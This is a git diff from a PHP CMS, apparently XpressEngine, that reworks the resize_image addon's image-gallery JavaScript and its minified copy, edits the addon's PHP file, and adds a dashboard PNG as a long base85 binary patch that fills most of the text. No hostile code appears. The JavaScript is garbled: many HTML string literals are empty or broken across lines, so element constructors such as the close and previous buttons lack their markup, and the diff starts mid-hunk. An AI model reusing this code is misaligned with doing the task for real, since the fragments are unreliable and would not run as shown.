    ") .attr("id","xe_gallery_screen") .css({ - position:"absolute", + position:"fixed", display:"none", backgroundColor:"black", zIndex:500, - opacity:0.5 + opacity:0.7 }); // 이미지를 보여주고 컨트롤 버튼을 다룰 레이어 controls = $("
    ") .attr("id","xe_gallery_controls") .css({ - position:"absolute", + position:"fixed", display:"none", overflow:"hidden", zIndex:510 }); - // 닫기 버튼 - closebtn = $("") - .attr("id", "xe_gallery_closebtn") - .attr("src", request_uri+"addons/resize_image/iconClose.png") + // 이전 버튼 + prevbtn = $('
    '); + var dummy = $('
    '); /** * 리사이즈 실행 함수 @@ -208,7 +227,7 @@ $(function() { }); } - $('div.xe_content').each(function() { + $('.xe_content').each(function() { var contentWidth = dummy.appendTo(this).width(); dummy.remove(); if(!contentWidth) return; @@ -217,9 +236,7 @@ $(function() { var $img = $(this); var imgSrc = $img.attr('src'); if(regx_skip.test(imgSrc) && !regx_allow_i6pngfix.test(imgSrc)) return; - $img.attr('rel', 'xe_gallery'); - doResize.call($img, contentWidth); }); diff --git a/addons/resize_image/js/resize_image.min.js b/addons/resize_image/js/resize_image.min.js index fe8f24f84..9b4d993d5 100644 --- a/addons/resize_image/js/resize_image.min.js +++ b/addons/resize_image/js/resize_image.min.js @@ -1,7 +1 @@ -/** - * @brief 화면내에서 상위 영역보다 이미지가 크면 리사이즈를 하고 클릭시 원본을 보여줄수 있도록 변경 - **/ -(function($){var xScreen=null -function getScreen(){var body=$(document.body),controls,imgframe,closebtn,prevbtn,nextbtn;if(!xScreen){xScreen=$("
    ").attr("id","xe_gallery_screen").css({position:"absolute",display:"none",backgroundColor:"black",zIndex:500,opacity:0.5});controls=$("
    ").attr("id","xe_gallery_controls").css({position:"absolute",display:"none",overflow:"hidden",zIndex:510});closebtn=$("").attr("id","xe_gallery_closebtn").attr("src",request_uri+"addons/resize_image/iconClose.png").css({top:"10px"}).click(function(){xScreen.xeHide()}).appendTo(controls);prevbtn=$("").attr("id","xe_gallery_prevbtn").attr("src",request_uri+"addons/resize_image/iconLeft.png").css("left","10px").click(function(){xScreen.xePrev()}).appendTo(controls);nextbtn=$("").attr("id","xe_gallery_nextbtn").attr("src",request_uri+"addons/resize_image/iconRight.png").css("right","10px").click(function(){xScreen.xeNext()}).appendTo(controls);controls.find("img").attr({width:60,height:60,className:"iePngFix"}).css({position:"absolute",width:"60px",height:"60px",zIndex:530,cursor:"pointer"});imgframe=$("").attr("id","xe_gallery_holder").css("border","7px solid white").css("zIndex",520).appendTo(controls).draggable();body.append(xScreen).append(controls);xScreen.xeShow=function(){var clientWidth=$(window).width(),clientHeight=$(window).height();$("#xe_gallery_controls,#xe_gallery_screen").css({display:"block",width:$(document).width()+"px",height:$(document).height()+"px",left:0,top:0});closebtn.css("left",Math.round((clientWidth-60)/2)+"px");$("#xe_gallery_prevbtn,#xe_gallery_nextbtn").css("top",Math.round((clientHeight-60)/2)+"px");this.xeMove(0)};xScreen.xeHide=function(event){xScreen.css("display","none");controls.css("display","none")};xScreen.xePrev=function(){this.xeMove(-1)};xScreen.xeNext=function(){this.xeMove(1)};xScreen.xeMove=function(val){var clientWidth=$(window).width(),clientHeight=$(window).height();this.index+=val;prevbtn.css("visibility",(this.index>0)?"visible":"hidden");nextbtn.css("visibility",(this.index
    ') -function doResize(contentWidth,count){if(!count)count=0;if(count>=10)return;var $img=this,beforSize={width:$img.width(),height:$img.height()};if(!beforSize.width||!beforSize.height){setTimeout(function(){doResize.call($img,contentWidth,++count)},200);return};if(beforSize.width<=contentWidth)return;var resize_ratio=contentWidth/beforSize.width;$img.removeAttr('width').removeAttr('height').css({width:contentWidth,height:parseInt(beforSize.height*resize_ratio,10)})};$('div.xe_content').each(function(){var contentWidth=dummy.appendTo(this).width();dummy.remove();if(!contentWidth)return;$('img',this).each(function(){var $img=$(this),imgSrc=$img.attr('src');if(regx_skip.test(imgSrc)&&!regx_allow_i6pngfix.test(imgSrc))return;$img.attr('rel','xe_gallery');doResize.call($img,contentWidth)});$('img[rel=xe_gallery]',this).live('mouseover',function(){var $img=$(this);if(!$img.parent('a').length&&!$img.attr('onclick'))$img.css('cursor','pointer').click(slideshow)})})})})(jQuery) \ No newline at end of file +(function(c){var d=null;function a(){var g=c(document.body);var h,f,e,j,i;if(!d){d=c("
    ").attr("id","xe_gallery_screen").css({position:"fixed",display:"none",backgroundColor:"black",zIndex:500,opacity:0.7});h=c("
    ").attr("id","xe_gallery_controls").css({position:"fixed",display:"none",overflow:"hidden",zIndex:510});j=c('
    ');function e(k,m){if(!m){m=0}if(m>=10){return}var l=this;var j={width:l.width(),height:l.height()};if(!j.width||!j.height){setTimeout(function(){e.call(l,k,++m)},200);return}if(j.width<=k){return}var i=k/j.width;l.removeAttr("width").removeAttr("height").css({width:k,height:parseInt(j.height*i,10)})}c(".xe_content").each(function(){var i=h.appendTo(this).width();h.remove();if(!i){return}c("img",this).each(function(){var j=c(this);var k=j.attr("src");if(g.test(k)&&!f.test(k)){return}j.attr("rel","xe_gallery");e.call(j,i)});c("img[rel=xe_gallery]",this).live("mouseover",function(){var j=c(this);if(!j.parent("a").length&&!j.attr("onclick")){j.css("cursor","pointer").click(b)}})})})})(jQuery); \ No newline at end of file diff --git a/addons/resize_image/resize_image.addon.php b/addons/resize_image/resize_image.addon.php index 5b10d33ec..29ee1b319 100644 --- a/addons/resize_image/resize_image.addon.php +++ b/addons/resize_image/resize_image.addon.php @@ -1,18 +1,25 @@ + +/* End of file resize_image.addon.php */ +/* Location: ./addons/resize_image/resize_image.addon.php */ diff --git a/admin/help/img/admin/dashboard.PNG b/admin/help/img/admin/dashboard.PNG new file mode 100644 index 0000000000000000000000000000000000000000..df44b1f54e5e50e8fbfa1b9cf93f80e334d7b96f GIT binary patch literal 77855 zcma&NcU)7;)<2A*h$1SYARwZkAiV~pqbP_F5EFV6=?O*Yp+!U~(nNYkz+gfX=^aF= z2}KA^s?w_@6ayrAgXbRaJ;Hf@?`Qu3JF{o@n$_2L%?`P*sY-u>^#m0a6}{Ts+YhLy zj$o;%sKsb$D8Jkj*+NkM9CCS}dW)){^Wr?^=7`Nr;7uy3qDZ=3^P`me%NBPZ0I8_F zxT&a~KBuDEru_7Dj*7}ngoeW|1VDB$QdewC!OGy!YMDsApT<%3L3Kq&D)f z$MDwOOr@tsj)%OyrFQQ4&1aXN9Xa}vj#m3}T%*d8Z15rL#)nTEPnNBknF-IjZp{;2 z(|bo}Q(GMT#YeF^PQ)tI_JElVkzQ0$c~^<*@R_GnM=nzxqW$N;^T*#In@=Aw@ayqc zX$|+cLDG!>GWpE?!wHbNe_NX6_(PP{k>>e>UwozktW5ncL#=nIK!RK%nn4FqOqqjV zWj$~+XPzplP$**YeFihwv8(iv9@7VXcW{On>MmV~m6Cs=K_V&#O(_b>UM*Mjy?rY6Li}2> zxbx%}D?XNg5w!f3`zWNOo1d=ar5n7-kzpOVJcy}=Ice!f8YPT2)|N{nc`2#2R~dVm zr{;dbDleGlAt&7--@*iTSB?|lip6GrKUeZ`Rn<}*k%EJKintzm+!)X4woi%0VhV1i z*22aM$0ZyOAILtD!6Wy?u?QRC_PBto58vN~+?SQ+4dU+X7z6drjN43i50=zO!c0}d zizH#BOpTQ4%PpF@MKh6-y|krGh2ib&U6*3h4J-8g)|-So7RR>O2|eU-aa`3FT$R)q zB-Pp_JjAu5!ae;#+G8DE5~AOv&t|U%^7_L}eo6Aag8u^z0HDd8og?1KX^dy9aELeE z&$_(k=Yn=|#IV7Tl#HNvcu^UAJ&&+zXOU+j0?jpvQ7e`lUhADT?7d+V-dIK)d{^Uw zJwyo6T6)bv>~OD9p^0?OvHL`ZzPD#jKHE#DgLGG`($`MREZZc+_okz zMqXpbRlNwBO82qP*`6g}9H| z-+26U>iKS0;Yt)o1vGbe&O1Gpqmlr{5v6=|Nvq?A*Wq|QMNT-rs{ZvG^5y`pSxdpj z#HHqi7YEz@)0ju7WjWVd1qNkWemMAQEP1w2vR%t}0!C
    I9V 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 